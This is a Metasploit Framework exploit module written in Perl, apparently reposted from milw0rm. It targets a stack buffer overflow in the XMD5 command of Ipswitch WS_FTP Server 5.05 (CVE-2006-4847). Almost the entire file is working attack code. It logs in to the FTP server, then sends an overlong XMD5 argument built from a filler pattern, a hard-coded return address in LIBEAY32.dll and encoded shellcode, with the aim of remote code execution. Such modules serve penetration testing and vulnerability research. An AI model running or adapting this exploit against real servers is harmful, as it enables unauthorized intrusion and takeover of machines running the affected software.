##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##
package Msf::Exploit::wsftp_server_505_xmd5;
use base "Msf::Exploit";
use strict;
use Pex::Text;
my $advanced = { };
my $info =
{
'Name' => 'WS-FTP Server 5.05 XMD5 Overflow',
'Version' => '$Revision: 1.0 $',
'Authors' =>
[ 'Jacopo Cervini <acaro [at] jervus.it>',
],
'Arch' => [ 'x86' ],
'OS' => [ 'win32', 'win2000', 'winxp', 'win2003' ],
'Priv' => 0,
'AutoOpts' => { 'EXITFUNC' => 'thread' },
'UserOpts' =>
{
'RHOST' => [1, 'ADDR', 'The target address'],
'RPORT' => [1, 'PORT', 'The target port', 21],
'SSL' => [0, 'BOOL', 'Use SSL'],
'USER' => [1, 'DATA', 'Username', 'ftp'],
'PASS' => [1, 'DATA', 'Password', 'ftp'],
},
'Payload' =>
{
'Space' => 329,
'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",
'Keys' => ['+ws2ord'],
},
'Description' => Pex::Text::Freeform(qq{
This module exploits the buffer overflow found in the XMD command
in IPSWITCH WS_FTP Server 5.05.
}),
'Refs' =>
[
['BID', '20076'],
[ 'CVE', '2006-4847' ],
],
'DefaultTarget' => 0,
'Targets' =>
[
['WS-FTP Server 5.05 Universal', 0x1002e636 ], # push esp, ret in LIBEAY32.dll
],
'Keys' => ['wsftp'],
'DisclosureDate' => 'Sep 14 2006',
};
sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
return($self);
}
sub Exploit {
my $self = shift;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');
my $target_idx = $self->GetVar('TARGET');
my $shellcode = $self->GetVar('EncodedPayload')->Payload;
my $target = $self->Targets->[$target_idx];
if (! $self->InitNops(128)) {
$self->PrintLine("[*] Failed to initialize the NOP module.");
return;
}
my $request = Pex::Text::PatternCreate(676);
$request .= pack("V", $target->[1]);
$request .= $shellcode;
my $s = Msf::Socket::Tcp->new
(
'PeerAddr' => $target_host,
'PeerPort' => $target_port,
'LocalPort' => $self->GetVar('CPORT'),
'SSL' => $self->GetVar('SSL'),
);
if ($s->IsError) {
$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
return;
}
my $r = $s->RecvLineMulti(20);
if (! $r) { $self->PrintLine("[*] No response from FTP server"); return; }
$self->Print($r);
$s->Send("USER ".$self->GetVar('USER')."\n");
$r = $s->RecvLineMulti(10);
if (! $r) { $self->PrintLine("[*] No response from FTP server"); return; }
$self->Print($r);
$s->Send("PASS ".$self->GetVar('PASS')."\n");
$r = $s->RecvLineMulti(10);
if (! $r) { $self->PrintLine("[*] No response from FTP server"); return; }
$self->Print($r);
$self->PrintLine("[*] Attemping to exploit target '".$target->[0]."'...");
$s->Send("XMD5 $request\n");
$r = $s->RecvLineMulti(10);
if (! $r) { $self->PrintLine("[*] No response from FTP server"); return; }
$self->Print($r);
sleep(2);
return;
}
# milw0rm.com [2007-02-19]
